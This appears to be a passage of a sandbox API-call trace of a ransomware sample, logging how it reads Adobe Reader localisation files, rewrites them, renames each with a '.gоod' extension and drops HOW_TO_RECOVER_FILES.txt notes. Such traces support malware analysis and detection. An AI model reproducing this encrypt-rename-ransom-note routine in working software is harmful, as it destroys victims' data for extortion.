lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x35720a0 | out: lpFileInformation=0x35720a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4c0)) returned 1 [0126.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec470) returned 1 [0126.929] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x70 [0126.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec360) returned 1 [0126.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0127.151] GetFileType (hFile=0x644) returned 0x1 [0127.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec2d0) returned 1 [0127.151] GetFileType (hFile=0x644) returned 0x1 [0127.151] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x1ffec508 | out: lpFileSizeHigh=0x1ffec508*=0x0) returned 0x4c0 [0127.151] ReadFile (in: hFile=0x644, lpBuffer=0x34c70f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffec438, lpOverlapped=0x0 | out: lpBuffer=0x34c70f0*, lpNumberOfBytesRead=0x1ffec438*=0x4c0, lpOverlapped=0x0) returned 1 [0127.154] CloseHandle (hObject=0x644) returned 1 [0127.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec360) returned 1 [0127.192] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0127.194] GetFileType (hFile=0x644) returned 0x1 [0127.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec2d0) returned 1 [0127.194] GetFileType (hFile=0x644) returned 0x1 [0127.194] WriteFile (in: hFile=0x644, lpBuffer=0x3541120*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x1ffec348, lpOverlapped=0x0 | out: lpBuffer=0x3541120*, lpNumberOfBytesWritten=0x1ffec348*=0x4d0, lpOverlapped=0x0) returned 1 [0127.358] CloseHandle (hObject=0x644) returned 1 [0127.477] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x70 [0127.477] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x75 [0127.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec470) returned 1 [0127.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffec550 | out: lpFileInformation=0x1ffec550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x481ff346, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4d0)) returned 1 [0127.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec430) returned 1 [0127.477] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ui-strings.js.gоod")) returned 1 [0127.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0127.478] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ar-ae", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ar-ae", lpFilePart=0x0) returned 0x68 [0127.574] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ar-ae\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0127.797] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.798] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0127.798] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0127.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0127.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0127.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0127.798] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ar-ae", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ar-ae", lpFilePart=0x0) returned 0x68 [0127.798] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ar-ae\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0127.798] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.798] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0127.799] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0127.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0127.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0127.799] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0127.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0127.799] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ar-ae\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0127.800] GetFileType (hFile=0x630) returned 0x1 [0127.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0127.800] GetFileType (hFile=0x630) returned 0x1 [0127.801] WriteFile (in: hFile=0x630, lpBuffer=0x358c808*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x358c808*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0127.802] CloseHandle (hObject=0x630) returned 1 [0127.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0127.803] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es", lpFilePart=0x0) returned 0x68 [0127.803] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0127.803] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.804] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0127.804] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0127.804] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0127.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0127.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0127.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0127.805] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es", lpFilePart=0x0) returned 0x68 [0127.805] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0127.805] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.806] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0127.806] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0127.806] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0127.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0127.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0127.806] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0127.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0127.806] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x359c3c0 | out: lpFileInformation=0x359c3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeda)) returned 1 [0127.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0127.806] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0127.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0127.807] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0127.807] GetFileType (hFile=0x630) returned 0x1 [0127.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0127.807] GetFileType (hFile=0x630) returned 0x1 [0127.807] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xeda [0127.807] ReadFile (in: hFile=0x630, lpBuffer=0x359d608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x359d608*, lpNumberOfBytesRead=0x1ffeba08*=0xeda, lpOverlapped=0x0) returned 1 [0127.810] CloseHandle (hObject=0x630) returned 1 [0128.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0128.658] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0128.659] GetFileType (hFile=0x6e0) returned 0x1 [0128.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0128.659] GetFileType (hFile=0x6e0) returned 0x1 [0128.659] WriteFile (in: hFile=0x6e0, lpBuffer=0x35fbee0*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x35fbee0*, lpNumberOfBytesWritten=0x1ffeb918*=0xee0, lpOverlapped=0x0) returned 1 [0128.660] CloseHandle (hObject=0x6e0) returned 1 [0128.660] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0128.660] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0128.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0128.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x48e766f0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xee0)) returned 1 [0128.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0128.661] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ca-es\\ui-strings.js.gоod")) returned 1 [0128.661] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0128.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0128.661] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ca-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, 